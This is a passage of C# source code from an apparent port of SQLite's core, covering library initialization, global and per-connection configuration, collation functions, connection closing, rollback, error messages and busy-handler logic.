sqlite3GlobalConfig.nRefInitMutex++;\n      }\n      sqlite3_mutex_leave( pMaster );\n      /* If unable to initialize the malloc subsystem, then return early.\n      ** There is little hope of getting SQLite to run if the malloc\n      ** subsystem cannot be initialized.\n      */\n      if ( rc != SQLITE_OK )\n      {\n        return rc;\n      }\n\n      /* Do the rest of the initialization under the recursive mutex so\n      ** that we will be able to handle recursive calls into\n      ** sqlite3_initialize().  The recursive calls normally come through\n      ** sqlite3_os_init() when it invokes sqlite3_vfs_register(), but other\n      ** recursive calls might also be possible.\n      */\n      sqlite3_mutex_enter( sqlite3GlobalConfig.pInitMutex );\n      if ( sqlite3GlobalConfig.isInit == 0 && sqlite3GlobalConfig.inProgress == 0 )\n      {\n        sqlite3GlobalConfig.inProgress = 1;\n#if SQLITE_OMIT_WSD\nFuncDefHash *pHash = &GLOBAL(FuncDefHash, sqlite3GlobalFunctions);\nmemset( pHash, 0, sizeof( sqlite3GlobalFunctions ) );\n#else\n        sqlite3GlobalFunctions = new FuncDefHash();\n        FuncDefHash pHash = sqlite3GlobalFunctions;\n#endif\n        sqlite3RegisterGlobalFunctions();\n        rc = sqlite3PcacheInitialize();\n        if ( rc == SQLITE_OK )\n        {\n          rc = sqlite3_os_init();\n        }\n        if ( rc == SQLITE_OK )\n        {\n          sqlite3PCacheBufferSetup( sqlite3GlobalConfig.pPage,\n          sqlite3GlobalConfig.szPage, sqlite3GlobalConfig.nPage );\n          sqlite3GlobalConfig.isInit = 1;\n        }\n        sqlite3GlobalConfig.inProgress = 0;\n      }\n      sqlite3_mutex_leave( sqlite3GlobalConfig.pInitMutex );\n      /* Go back under the static mutex and clean up the recursive\n      ** mutex to prevent a resource leak.\n      */\n      sqlite3_mutex_enter( pMaster );\n      sqlite3GlobalConfig.nRefInitMutex--;\n      if ( sqlite3GlobalConfig.nRefInitMutex <= 0 )\n      {\n        Debug.Assert( sqlite3GlobalConfig.nRefInitMutex == 0 );\n        sqlite3_mutex_free( ref  sqlite3GlobalConfig.pInitMutex );\n        sqlite3GlobalConfig.pInitMutex = null;\n      }\n      sqlite3_mutex_leave( pMaster );\n\n      /* The following is just a sanity check to make sure SQLite has\n      ** been compiled correctly.  It is important to run this code, but\n      ** we don't want to run it too often and soak up CPU cycles for no\n      ** reason.  So we run it once during initialization.\n      */\n#if !NDEBUG\n#if !SQLITE_OMIT_FLOATING_POINT\n      /* This section of code's only \"output\" is via Debug.Assert() statements. */\n      if ( rc == SQLITE_OK )\n      {\n        //u64 x = ( ( (u64)1 ) << 63 ) - 1;\n        //double y;\n        //Debug.Assert( sizeof( u64 ) == 8 );\n        //Debug.Assert( sizeof( u64 ) == sizeof( double ) );\n        //memcpy( &y, x, 8 );\n        //Debug.Assert( sqlite3IsNaN( y ) );\n      }\n#endif\n#endif\n\n      return rc;\n    }\n\n    /*\n    ** Undo the effects of sqlite3_initialize().  Must not be called while\n    ** there are outstanding database connections or memory allocations or\n    ** while any part of SQLite is otherwise in use in any thread.  This\n    ** routine is not threadsafe.  But it is safe to invoke this routine\n    ** on when SQLite is already shut down.  If SQLite is already shut down\n    ** when this routine is invoked, then this routine is a harmless no-op.\n    */\n    static int sqlite3_shutdown()\n    {\n      if ( sqlite3GlobalConfig.isInit != 0 )\n      {\n        sqlite3GlobalConfig.isMallocInit = 0;\n        sqlite3PcacheShutdown();\n        sqlite3_os_end();\n        sqlite3_reset_auto_extension();\n        //sqlite3MallocEnd();\n        sqlite3MutexEnd();\n        sqlite3GlobalConfig.isInit = 0;\n      }\n      return SQLITE_OK;\n    }\n\n    /*\n    ** This API allows applications to modify the global configuration of\n    ** the SQLite library at run-time.\n    **\n    ** This routine should only be called when there are no outstanding\n    ** database connections or memory allocations.  This routine is not\n    ** threadsafe.  Failure to heed these warnings can lead to unpredictable\n    ** behavior.\n    */\n    // Overloads for ap assignments\n    static int sqlite3_config( int op, sqlite3_pcache_methods ap )\n    {      //  va_list ap;\n      int rc = SQLITE_OK;\n      switch ( op )\n      {\n        case SQLITE_CONFIG_PCACHE:\n          {\n            /* Specify an alternative malloc implementation */\n            sqlite3GlobalConfig.pcache = ap; //sqlite3GlobalConfig.pcache = (sqlite3_pcache_methods)va_arg(ap, \"sqlite3_pcache_methods\");\n            break;\n          }\n      }\n      return rc;\n    }\n\n    static int sqlite3_config( int op, ref sqlite3_pcache_methods ap )\n    {      //  va_list ap;\n      int rc = SQLITE_OK;\n      switch ( op )\n      {\n        case SQLITE_CONFIG_GETPCACHE:\n          {\n            if ( sqlite3GlobalConfig.pcache.xInit == null )\n            {\n              sqlite3PCacheSetDefault();\n            }\n            ap = sqlite3GlobalConfig.pcache;//va_arg(ap, sqlite3_pcache_methods*) = sqlite3GlobalConfig.pcache;\n            break;\n          }\n      }\n      return rc;\n    }\n\n    static int sqlite3_config( int op, sqlite3_mem_methods ap )\n    {      //  va_list ap;\n      int rc = SQLITE_OK;\n      switch ( op )\n      {\n        case SQLITE_CONFIG_MALLOC:\n          {\n            /* Specify an alternative malloc implementation */\n            sqlite3GlobalConfig.m = ap;// (sqlite3_mem_methods)va_arg( ap, \"sqlite3_mem_methods\" );\n            break;\n          }\n      }\n      return rc;\n    }\n\n    static int sqlite3_config( int op, ref sqlite3_mem_methods ap )\n    {      //  va_list ap;\n      int rc = SQLITE_OK;\n      switch ( op )\n      {\n        case SQLITE_CONFIG_GETMALLOC:\n          {\n            /* Retrieve the current malloc() implementation */\n            //if ( sqlite3GlobalConfig.m.xMalloc == null ) sqlite3MemSetDefault();\n            ap = sqlite3GlobalConfig.m;//va_arg(ap, sqlite3_mem_methods*) =  sqlite3GlobalConfig.m;\n            break;\n          }\n      }\n      return rc;\n    }\n\n#if SQLITE_THREADSAFE\nstatic int sqlite3_config( int op,  sqlite3_mutex_methods ap )\n{\n//  va_list ap;\nint rc = SQLITE_OK;\nswitch ( op )\n{\ncase SQLITE_CONFIG_MUTEX:\n{\n/* Specify an alternative mutex implementation */\nsqlite3GlobalConfig.mutex = ap;// (sqlite3_mutex_methods)va_arg( ap, \"sqlite3_mutex_methods\" );\nbreak;\n}\n}\nreturn rc;\n}\n\nstatic int sqlite3_config( int op, ref sqlite3_mutex_methods ap )\n{\n//  va_list ap;\nint rc = SQLITE_OK;\nswitch ( op )\n{\ncase SQLITE_CONFIG_GETMUTEX:\n{\n/* Retrieve the current mutex implementation */\nap =  sqlite3GlobalConfig.mutex;// *va_arg(ap, sqlite3_mutex_methods*) =  sqlite3GlobalConfig.mutex;\nbreak;\n}\n}\nreturn rc;\n}\n#endif\n\n    static int sqlite3_config( int op, params object[] ap )\n    {\n      //  va_list ap;\n      int rc = SQLITE_OK;\n\n      /* sqlite3_config() shall return SQLITE_MISUSE if it is invoked while\n      ** the SQLite library is in use. */\n      if ( sqlite3GlobalConfig.isInit != 0 ) return SQLITE_MISUSE;\n\n      va_start( ap, null );\n      switch ( op )\n      {\n\n        /* Mutex configuration options are only available in a threadsafe\n        ** compile.\n        */\n#if SQLITE_THREADSAFE\ncase SQLITE_CONFIG_SINGLETHREAD:\n{\n/* Disable all mutexing */\nsqlite3GlobalConfig.bCoreMutex = false;\nsqlite3GlobalConfig.bFullMutex = false;\nbreak;\n}\ncase SQLITE_CONFIG_MULTITHREAD:\n{\n/* Disable mutexing of database connections */\n/* Enable mutexing of core data structures */\nsqlite3GlobalConfig.bCoreMutex = true;\nsqlite3GlobalConfig.bFullMutex = false;\nbreak;\n}\ncase SQLITE_CONFIG_SERIALIZED:\n{\n/* Enable all mutexing */\nsqlite3GlobalConfig.bCoreMutex = true;\nsqlite3GlobalConfig.bFullMutex = true;\nbreak;\n}\ncase SQLITE_CONFIG_MUTEX: {\n/* Specify an alternative mutex implementation */\nsqlite3GlobalConfig.mutex = *va_arg(ap, sqlite3_mutex_methods*);\nbreak;\n}\ncase SQLITE_CONFIG_GETMUTEX: {\n/* Retrieve the current mutex implementation */\n*va_arg(ap, sqlite3_mutex_methods*) = sqlite3GlobalConfig.mutex;\nbreak;\n}\n#endif\n        case SQLITE_CONFIG_MALLOC:\n          {\n            Debugger.Break(); // TODO --\n            /* Specify an alternative malloc implementation */\n            sqlite3GlobalConfig.m = (sqlite3_mem_methods)va_arg( ap, \"sqlite3_mem_methods\" );\n            break;\n          }\n        case SQLITE_CONFIG_GETMALLOC:\n          {\n            /* Retrieve the current malloc() implementation */\n            //if ( sqlite3GlobalConfig.m.xMalloc == null ) sqlite3MemSetDefault();\n            //Debugger.Break(); // TODO --//va_arg(ap, sqlite3_mem_methods*) =  sqlite3GlobalConfig.m;\n            break;\n          }\n        case SQLITE_CONFIG_MEMSTATUS:\n          {\n            /* Enable or disable the malloc status collection */\n            sqlite3GlobalConfig.bMemstat = (int)va_arg( ap, \"int\" ) != 0;\n            break;\n          }\n        case SQLITE_CONFIG_SCRATCH:\n          {\n            /* Designate a buffer for scratch memory space */\n            sqlite3GlobalConfig.pScratch = (byte[])va_arg( ap, \"byte[]\" );\n            sqlite3GlobalConfig.szScratch = (int)va_arg( ap, \"int\" );\n            sqlite3GlobalConfig.nScratch = (int)va_arg( ap, \"int\" );\n            break;\n          }\n\n        case SQLITE_CONFIG_PAGECACHE:\n          {\n            /* Designate a buffer for page cache memory space */\n            sqlite3GlobalConfig.pPage = (MemPage)va_arg( ap, \"MemPage\" );\n            sqlite3GlobalConfig.szPage = (int)va_arg( ap, \"int\" );\n            sqlite3GlobalConfig.nPage = (int)va_arg( ap, \"int\" );\n            break;\n          }\n\n        case SQLITE_CONFIG_PCACHE:\n          {\n            /* Specify an alternative page cache implementation */\n            Debugger.Break(); // TODO --sqlite3GlobalConfig.pcache = (sqlite3_pcache_methods)va_arg(ap, \"sqlite3_pcache_methods\");\n            break;\n          }\n\n        case SQLITE_CONFIG_GETPCACHE:\n          {\n            if ( sqlite3GlobalConfig.pcache.xInit == null )\n            {\n              sqlite3PCacheSetDefault();\n            }\n            Debugger.Break(); // TODO -- *va_arg(ap, sqlite3_pcache_methods*) = sqlite3GlobalConfig.pcache;\n            break;\n          }\n\n#if SQLITE_ENABLE_MEMSYS3 || SQLITE_ENABLE_MEMSYS5\ncase SQLITE_CONFIG_HEAP: {\n/* Designate a buffer for heap memory space */\nsqlite3GlobalConfig.pHeap = va_arg(ap, void*);\nsqlite3GlobalConfig.nHeap = va_arg(ap, int);\nsqlite3GlobalConfig.mnReq = va_arg(ap, int);\n\nif(  sqlite3GlobalConfig.pHeap==0 ){\n/* If the heap pointer is NULL, then restore the malloc implementation\n** back to NULL pointers too.  This will cause the malloc to go\n** back to its default implementation when sqlite3_initialize() is\n** run.\n*/\nmemset(& sqlite3GlobalConfig.m, 0, sizeof( sqlite3GlobalConfig.m));\n}else{\n/* The heap pointer is not NULL, then install one of the\n** mem5.c/mem3.c methods. If neither ENABLE_MEMSYS3 nor\n** ENABLE_MEMSYS5 is defined, return an error.\n*/\n#if SQLITE_ENABLE_MEMSYS3\nsqlite3GlobalConfig.m = *sqlite3MemGetMemsys3();\n#endif\n#if SQLITE_ENABLE_MEMSYS5\nsqlite3GlobalConfig.m = *sqlite3MemGetMemsys5();\n#endif\n}\nbreak;\n}\n#endif\n\n        case SQLITE_CONFIG_LOOKASIDE:\n          {\n            sqlite3GlobalConfig.szLookaside = (int)va_arg( ap, \"int\" );\n            sqlite3GlobalConfig.nLookaside = (int)va_arg( ap, \"int\" );\n            break;\n          }\n\n        default:\n          {\n            rc = SQLITE_ERROR;\n            break;\n          }\n      }\n      va_end( ap );\n      return rc;\n    }\n\n    /*\n    ** Set up the lookaside buffers for a database connection.\n    ** Return SQLITE_OK on success.\n    ** If lookaside is already active, return SQLITE_BUSY.\n    **\n    ** The sz parameter is the number of bytes in each lookaside slot.\n    ** The cnt parameter is the number of slots.  If pStart is NULL the\n    ** space for the lookaside memory is obtained from sqlite3_malloc().\n    ** If pStart is not NULL then it is sz*cnt bytes of memory to use for\n    ** the lookaside memory.\n    */\n    static int setupLookaside( sqlite3 db, byte[] pBuf, int sz, int cnt )\n    {\n      //void* pStart;\n      //if ( db.lookaside.nOut )\n      //{\n      //  return SQLITE_BUSY;\n      //}\n      ///* Free any existing lookaside buffer for this handle before\n      //** allocating a new one so we don't have to have space for\n      //** both at the same time.\n      //*/\n      //if ( db.lookaside.bMalloced )\n      //{\n      //  //sqlite3_free( db.lookaside.pStart );\n      //}\n      ///* The size of a lookaside slot needs to be larger than a pointer\n      //** to be useful.\n      //*/\n      //if ( sz <= (int)sizeof( LookasideSlot* ) ) sz = 0;\n      //if ( cnt < 0 ) cnt = 0;\n      //if ( sz == 0 || cnt == 0 )\n      //{\n      //  sz = 0;\n      //  pStart = 0;\n      //}\n      //else if ( pBuf == 0 )\n      //{\n      //   sz = ROUND8(sz);\n      //  sqlite3BeginBenignMalloc();\n      //  pStart = sqlite3Malloc( sz * cnt );\n      //  sqlite3EndBenignMalloc();\n      //}\n      //else\n      //{\n      //  ROUNDDOWN8(sz);\n      //  pStart = pBuf;\n      //}\n      //db.lookaside.pStart = pStart;\n      //db.lookaside.pFree = 0;\n      //db.lookaside.sz = (u16)sz;\n      //if ( pStart )\n      //{\n      //  int i;\n      //  LookasideSlot* p;\n      //  Debug.Assert( sz > sizeof( LookasideSlot* ) );\n      //  p = (LookasideSlot*)pStart;\n      //  for ( i = cnt - 1 ; i >= 0 ; i-- )\n      //  {\n      //    p.pNext = db.lookaside.pFree;\n      //    db.lookaside.pFree = p;\n      //    p = (LookasideSlot*)&( (u8*)p )[sz];\n      //  }\n      //  db.lookaside.pEnd = p;\n      //  db.lookaside.bEnabled = 1;\n      //  db.lookaside.bMalloced = pBuf == 0 ? 1 : 0;\n      //}\n      //else\n      //{\n      //  db.lookaside.pEnd = 0;\n      //  db.lookaside.bEnabled = 0;\n      //  db.lookaside.bMalloced = 0;\n      //}\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Return the mutex associated with a database connection.\n    */\n    sqlite3_mutex sqlite3_db_mutex( sqlite3 db )\n    {\n      return db.mutex;\n    }\n\n    /*\n    ** Configuration settings for an individual database connection\n    */\n    static int sqlite3_db_config( sqlite3 db, int op, params object[] ap )\n    {\n      //va_list ap;\n      int rc;\n      va_start( ap, \"\" );\n      switch ( op )\n      {\n        case SQLITE_DBCONFIG_LOOKASIDE:\n          {\n            byte[] pBuf = (byte[])va_arg( ap, \"byte[]\" );\n            int sz = (int)va_arg( ap, \"int\" );\n            int cnt = (int)va_arg( ap, \"int\" );\n            rc = setupLookaside( db, pBuf, sz, cnt );\n            break;\n          }\n        default:\n          {\n            rc = SQLITE_ERROR;\n            break;\n          }\n      }\n      va_end( ap );\n      return rc;\n    }\n\n\n    /*\n    ** Return true if the buffer z[0..n-1] contains all spaces.\n    */\n    static bool allSpaces( string z, int iStart, int n )\n    {\n      while ( n > 0 && z[iStart + n - 1] == ' ' ) { n--; }\n      return n == 0;\n    }\n\n    /*\n    ** This is the default collating function named \"BINARY\" which is always\n    ** available.\n    **\n    ** If the padFlag argument is not NULL then space padding at the end\n    ** of strings is ignored.  This implements the RTRIM collation.\n    */\n    static int binCollFunc(\n    object padFlag,\n    int nKey1, string pKey1,\n    int nKey2, string pKey2\n    )\n    {\n      int rc, n;\n      n = nKey1 < nKey2 ? nKey1 : nKey2;\n      rc = memcmp( pKey1, pKey2, n );\n      if ( rc == 0 )\n      {\n        if ( (int)padFlag != 0 && allSpaces( pKey1, n, nKey1 - n ) && allSpaces( pKey2, n, nKey2 - n ) )\n        {\n          /* Leave rc unchanged at 0 */\n        }\n        else\n        {\n          rc = nKey1 - nKey2;\n        }\n      }\n      return rc;\n    }\n\n    /*\n    ** Another built-in collating sequence: NOCASE.\n    **\n    ** This collating sequence is intended to be used for \"case independant\n    ** comparison\". SQLite's knowledge of upper and lower case equivalents\n    ** extends only to the 26 characters used in the English language.\n    **\n    ** At the moment there is only a UTF-8 implementation.\n    */\n    static int nocaseCollatingFunc(\n    object NotUsed,\n    int nKey1, string pKey1,\n    int nKey2, string pKey2\n    )\n    {\n      int n = ( nKey1 < nKey2 ) ? nKey1 : nKey2;\n      int r = sqlite3StrNICmp( pKey1, pKey2, ( nKey1 < nKey2 ) ? nKey1 : nKey2 );\n      UNUSED_PARAMETER( NotUsed );\n      if ( 0 == r )\n      {\n        r = nKey1 - nKey2;\n      }\n      return r;\n    }\n\n    /*\n    ** Return the ROWID of the most recent insert\n    */\n    public static sqlite_int64 sqlite3_last_insert_rowid( sqlite3 db )\n    {\n      return db.lastRowid;\n    }\n\n    /*\n    ** Return the number of changes in the most recent call to sqlite3_exec().\n    */\n    public static int sqlite3_changes( sqlite3 db )\n    {\n      return db.nChange;\n    }\n\n    /*\n    ** Return the number of changes since the database handle was opened.\n    */\n    public static int sqlite3_total_changes( sqlite3 db )\n    {\n      return db.nTotalChange;\n    }\n\n    /*\n    ** Close all open savepoints. This function only manipulates fields of the\n    ** database handle object, it does not close any savepoints that may be open\n    ** at the b-tree/pager level.\n    */\n    static void sqlite3CloseSavepoints( sqlite3 db )\n    {\n      while ( db.pSavepoint != null )\n      {\n        Savepoint pTmp = db.pSavepoint;\n        db.pSavepoint = pTmp.pNext;\n        //sqlite3DbFree( db, ref pTmp );\n      }\n      db.nSavepoint = 0;\n      db.nStatement = 0;\n      db.isTransactionSavepoint = 0;\n    }\n\n    /*\n    ** Close an existing SQLite database\n    */\n    public static int sqlite3_close( sqlite3 db )\n    {\n      HashElem i;\n      int j;\n\n      if ( db == null )\n      {\n        return SQLITE_OK;\n      }\n      if ( !sqlite3SafetyCheckSickOrOk( db ) )\n      {\n        return SQLITE_MISUSE;\n      }\n      sqlite3_mutex_enter( db.mutex );\n\n      sqlite3ResetInternalSchema( db, 0 );\n\n      /* Tell the code in notify.c that the connection no longer holds any\n      ** locks and does not require any further unlock-notify callbacks.\n      */\n      sqlite3ConnectionClosed( db );\n\n      /* If a transaction is open, the ResetInternalSchema() call above\n      ** will not have called the xDisconnect() method on any virtual\n      ** tables in the db.aVTrans[] array. The following sqlite3VtabRollback()\n      ** call will do so. We need to do this before the check for active\n      ** SQL statements below, as the v-table implementation may be storing\n      ** some prepared statements internally.\n      */\n\n      sqlite3VtabRollback( db );\n\n      /* If there are any outstanding VMs, return SQLITE_BUSY. */\n      if ( db.pVdbe != null )\n      {\n        sqlite3Error( db, SQLITE_BUSY,\n        \"unable to close due to unfinalised statements\" );\n        sqlite3_mutex_leave( db.mutex );\n        return SQLITE_BUSY;\n      }\n      Debug.Assert( sqlite3SafetyCheckSickOrOk( db ) );\n\n      for ( j = 0 ; j < db.nDb ; j++ )\n      {\n        Btree pBt = db.aDb[j].pBt;\n        if ( pBt != null && sqlite3BtreeIsInBackup( pBt ) )\n        {\n          sqlite3Error( db, SQLITE_BUSY,\n          \"unable to close due to unfinished backup operation\" );\n          sqlite3_mutex_leave( db.mutex );\n          return SQLITE_BUSY;\n        }\n      }\n\n      /* Free any outstanding Savepoint structures. */\n      sqlite3CloseSavepoints( db );\n\n      for ( j = 0 ; j < db.nDb ; j++ )\n      {\n        Db pDb = db.aDb[j];\n        if ( pDb.pBt != null )\n        {\n          sqlite3BtreeClose( ref pDb.pBt );\n          pDb.pBt = null;\n          if ( j != 1 )\n          {\n            pDb.pSchema = null;\n          }\n        }\n      }\n      sqlite3ResetInternalSchema( db, 0 );\n      Debug.Assert( db.nDb <= 2 );\n      Debug.Assert( db.aDb[0].Equals( db.aDbStatic[0] ) );\n      for ( j = 0 ; j < ArraySize( db.aFunc.a ) ; j++ )\n      {\n        FuncDef pNext, pHash, p;\n        for ( p = db.aFunc.a[j] ; p != null ; p = pHash )\n        {\n          pHash = p.pHash;\n          while ( p != null )\n          {\n            pNext = p.pNext;\n            //sqlite3DbFree( db, p );\n            p = pNext;\n          }\n\n        }\n      }\n\n      for ( i = db.aCollSeq.first ; i != null ; i = i.next )\n      {//sqliteHashFirst(db.aCollSeq); i!=null; i=sqliteHashNext(i)){\n        CollSeq[] pColl = (CollSeq[])i.data;// sqliteHashData(i);\n        /* Invoke any destructors registered for collation sequence user data. */\n        for ( j = 0 ; j < 3 ; j++ )\n        {\n          if ( pColl[j].xDel != null )\n          {\n            pColl[j].xDel( ref  pColl[j].pUser );\n          }\n        }\n        //sqlite3DbFree( db, ref pColl );\n      }\n      sqlite3HashClear( db.aCollSeq );\n#if !SQLITE_OMIT_VIRTUALTABLE\nfor(i=sqliteHashFirst(&db.aModule); i; i=sqliteHashNext(i)){\nModule pMod = (Module *)sqliteHashData(i);\nif( pMod.xDestroy ){\npMod.xDestroy(pMod.pAux);\n}\n//sqlite3DbFree(db,ref pMod);\n}\nsqlite3HashClear(&db.aModule);\n#endif\n\n      sqlite3Error( db, SQLITE_OK, 0 ); /* Deallocates any cached error strings. */\n      if ( db.pErr != null )\n      {\n        sqlite3ValueFree( ref db.pErr );\n      }\n#if !SQLITE_OMIT_LOAD_EXTENSION\n      sqlite3CloseExtensions( db );\n#endif\n\n      db.magic = SQLITE_MAGIC_ERROR;\n\n      /* The temp.database schema is allocated differently from the other schema\n      ** objects (using sqliteMalloc() directly, instead of sqlite3BtreeSchema()).\n      ** So it needs to be freed here. Todo: Why not roll the temp schema into\n      ** the same sqliteMalloc() as the one that allocates the database\n      ** structure?\n      */\n      //sqlite3DbFree( db, ref db.aDb[1].pSchema );\n      sqlite3_mutex_leave( db.mutex );\n      db.magic = SQLITE_MAGIC_CLOSED;\n      sqlite3_mutex_free( ref db.mutex );\n      Debug.Assert( db.lookaside.nOut == 0 );  /* Fails on a lookaside memory leak */\n      if ( db.lookaside.bMalloced )\n      {\n        ////sqlite3_free( ref db.lookaside.pStart );\n      }\n      //sqlite3_free( ref db );\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Rollback all database files.\n    */\n    static void sqlite3RollbackAll( sqlite3 db )\n    {\n      int i;\n      int inTrans = 0;\n      Debug.Assert( sqlite3_mutex_held( db.mutex ) );\n      sqlite3BeginBenignMalloc();\n      for ( i = 0 ; i < db.nDb ; i++ )\n      {\n        if ( db.aDb[i].pBt != null )\n        {\n          if ( sqlite3BtreeIsInTrans( db.aDb[i].pBt ) )\n          {\n            inTrans = 1;\n          }\n          sqlite3BtreeRollback( db.aDb[i].pBt );\n          db.aDb[i].inTrans = 0;\n        }\n      }\n\n      sqlite3VtabRollback( db );\n      sqlite3EndBenignMalloc();\n      if ( ( db.flags & SQLITE_InternChanges ) != 0 )\n      {\n        sqlite3ExpirePreparedStatements( db );\n        sqlite3ResetInternalSchema( db, 0 );\n      }\n\n      /* If one has been configured, invoke the rollback-hook callback */\n      if ( db.xRollbackCallback != null && ( inTrans != 0 || 0 == db.autoCommit ) )\n      {\n        db.xRollbackCallback( db.pRollbackArg );\n      }\n    }\n\n    /*\n    ** Return a static string that describes the kind of error specified in the\n    ** argument.\n    */\n    static string sqlite3ErrStr( int rc )\n    {\n      string[] aMsg = new string[]{\n/* SQLITE_OK          */ \"not an error\",\n/* SQLITE_ERROR       */ \"SQL logic error or missing database\",\n/* SQLITE_INTERNAL    */ \"\",\n/* SQLITE_PERM        */ \"access permission denied\",\n/* SQLITE_ABORT       */ \"callback requested query abort\",\n/* SQLITE_BUSY        */ \"database is locked\",\n/* SQLITE_LOCKED      */ \"database table is locked\",\n/* SQLITE_NOMEM       */ \"out of memory\",\n/* SQLITE_READONLY    */ \"attempt to write a readonly database\",\n/* SQLITE_INTERRUPT   */ \"interrupted\",\n/* SQLITE_IOERR       */ \"disk I/O error\",\n/* SQLITE_CORRUPT     */ \"database disk image is malformed\",\n/* SQLITE_NOTFOUND    */ \"\",\n/* SQLITE_FULL        */ \"database or disk is full\",\n/* SQLITE_CANTOPEN    */ \"unable to open database file\",\n/* SQLITE_PROTOCOL    */ \"\",\n/* SQLITE_EMPTY       */ \"table contains no data\",\n/* SQLITE_SCHEMA      */ \"database schema has changed\",\n/* SQLITE_TOOBIG      */ \"string or blob too big\",\n/* SQLITE_CONSTRAINT  */ \"constraint failed\",\n/* SQLITE_MISMATCH    */ \"datatype mismatch\",\n/* SQLITE_MISUSE      */ \"library routine called out of sequence\",\n/* SQLITE_NOLFS       */ \"large file support is disabled\",\n/* SQLITE_AUTH        */ \"authorization denied\",\n/* SQLITE_FORMAT      */ \"auxiliary database format error\",\n/* SQLITE_RANGE       */ \"bind or column index out of range\",\n/* SQLITE_NOTADB      */ \"file is encrypted or is not a database\",\n};\n      rc &= 0xff;\n      if ( ALWAYS( rc >= 0 ) && rc < aMsg.Length && aMsg[rc] != \"\" )//(int)(sizeof(aMsg)/sizeof(aMsg[0]))\n      {\n        return aMsg[rc];\n      }\n      else\n      {\n        return \"unknown error\";\n      }\n    }\n\n    /*\n    ** This routine implements a busy callback that sleeps and tries\n    ** again until a timeout value is reached.  The timeout value is\n    ** an integer number of milliseconds passed in as the first\n    ** argument.\n    */\n    static int sqliteDefaultBusyCallback(\n    object ptr,               /* Database connection */\n    int count                /* Number of times table has been busy */\n    )\n    {\n#if SQLITE_OS_WIN || HAVE_USLEEP\n      u8[] delays = new u8[] { 1, 2, 5, 10, 15, 20, 25, 25, 25, 50, 50, 100 };\n      u8[] totals = new u8[] { 0, 1, 3, 8, 18, 33, 53, 78, 103, 128, 178, 228 };\n      //# define NDELAY (delays.Length/sizeof(delays[0]))\n      int NDELAY = delays.Length;\n      sqlite3 db = (sqlite3)ptr;\n      int timeout = db.busyTimeout;\n      int delay, prior;\n\n      Debug.Assert( count >= 0 );\n      if ( count < NDELAY )\n      {\n        delay = delays[count];\n        prior = totals[count];\n      }\n      else\n      {\n        delay = delays[NDELAY - 1];\n        prior = totals[NDELAY - 1] + delay * ( count - ( NDELAY - 1 ) );\n      }\n      if ( prior + delay > timeout )\n      {\n        delay = timeout - prior;\n        if ( delay <= 0 ) return 0;\n      }\n      sqlite3OsSleep( db.pVfs, delay * 1000 );\n      return 1;\n#else\nsqlite3 db = (sqlite3)ptr;\nint timeout = ( (sqlite3)ptr ).busyTimeout;\nif ( ( count + 1 ) * 1000 > timeout )\n{\nreturn 0;\n}\nsqlite3OsSleep( db.pVfs, 1000000 );\nreturn 1;\n#endif\n    }\n\n    /*\n    ** Invoke the given busy handler.\n    **\n    ** This routine is called when an operation failed with a lock.\n    ** If this routine returns non-zero, the lock is retried.  If it\n    ** returns 0, the operation aborts with an SQLITE_BUSY error.\n    */\n    static int sqlite3InvokeBusyHandler( BusyHandler p )\n    {\n      int rc;\n      if ( NEVER( p == null ) || p.xFunc == null || p.nBusy < 0 ) return 0;\n      rc = p.xFunc( p.pArg, p.nBusy );\n      if ( rc == 0 )\n      {\n        p.nBusy = -1;\n      }\n      else\n      {\n        p.nBusy++;\n      }\n      return rc;\n    }\n\n    /*\n    ** This routine sets the busy callback for an Sqlite database to the\n    ** given callback function with the given argument.\n    */\n    static int sqlite3_busy_handler(\n    sqlite3 db,\n    dxBusy xBusy,\n    object pArg\n    )\n    {\n      sqlite3_mutex_enter( db.mutex );\n      db.busyHandler.xFunc = xBusy;\n      db.busyHandler.pArg = pArg;\n      db.busyHandler.nBusy = 0;\n      sqlite3_mutex_leave( db.mutex );\n      return SQLITE_OK;\n    }\n\n#if !SQLITE_OMIT_PROGRESS_CALLBACK\n    /*\n** This routine sets the progress callback for an Sqlite database to the\n** given callback function with the given argument. The progress callback will\n** be invoked every nOps opcodes.\n*/\n    static void sqlite3_progress_handler(\n    sqlite3 db,\n    int nOps,\n    dxProgress xProgress, //int (xProgress)(void*),\n    object pArg\n    )\n    {\n      sqlite3_mutex_enter( db.mutex );\n      if ( nOps > 0 )\n      {\n        db.xProgress = xProgress;\n        db.nProgressOps = nOps;\n        db.pProgressArg = pArg;\n      }\n      else\n      {\n        db.xProgress = null;\n        db.nProgressOps = 0;\n        db.pProgressArg = null;\n      }\n      sqlite3_mutex_leave( db.mutex );\n    }\n#endif\n\n\n    /*\n** This routine installs a default busy handler that waits for the\n** specified number of milliseconds before returning 0.\n*/\n    public static int sqlite3_busy_timeout( sqlite3 db, int ms )\n    {\n      if ( ms > 0 )\n      {\n        db.busyTimeout = ms;\n        sqlite3_busy_handler( db, sqliteDefaultBusyCallback, db );\n      }\n      else\n      {\n        sqlite3_busy_handler( db, null, null );\n      }\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Cause any pending operation to stop at its earliest opportunity.\n    */\n    static void sqlite3_interrupt( sqlite3 db )\n    {\n      db.u1.isInterrupted = true;\n    }\n\n\n    /*\n    ** This function is exactly the same as sqlite3_create_function(), except\n    ** that it is designed to be called by internal code. The difference is\n    ** that if a malloc() fails in sqlite3_create_function(), an error code\n    ** is returned and the mallocFailed flag cleared.\n    */\n    static int sqlite3CreateFunc(\n    sqlite3 db,\n    string zFunctionName,\n    int nArg,\n    u8 enc,\n    object pUserData,\n    dxFunc xFunc, //)(sqlite3_context*,int,sqlite3_value **),\n    dxStep xStep,//)(sqlite3_context*,int,sqlite3_value **),\n    dxFinal xFinal//)(sqlite3_context*)\n    )\n    {\n      FuncDef p;\n      int nName;\n\n      Debug.Assert( sqlite3_mutex_held( db.mutex ) );\n      if ( zFunctionName == null ||\n      ( xFunc != null && ( xFinal != null || xStep != null ) ) ||\n      ( xFunc == null && ( xFinal != null && xStep == null ) ) ||\n      ( xFunc == null && ( xFinal == null && xStep != null ) ) ||\n      ( nArg < -1 || nArg > SQLITE_MAX_FUNCTION_ARG ) ||\n      ( 255 < ( nName = sqlite3Strlen30( zFunctionName ) ) ) )\n      {\n        return SQLITE_MISUSE;\n      }\n\n#if !SQLITE_OMIT_UTF16\n/* If SQLITE_UTF16 is specified as the encoding type, transform this\n** to one of SQLITE_UTF16LE or SQLITE_UTF16BE using the\n** SQLITE_UTF16NATIVE macro. SQLITE_UTF16 is not used internally.\n**\n** If SQLITE_ANY is specified, add three versions of the function\n** to the 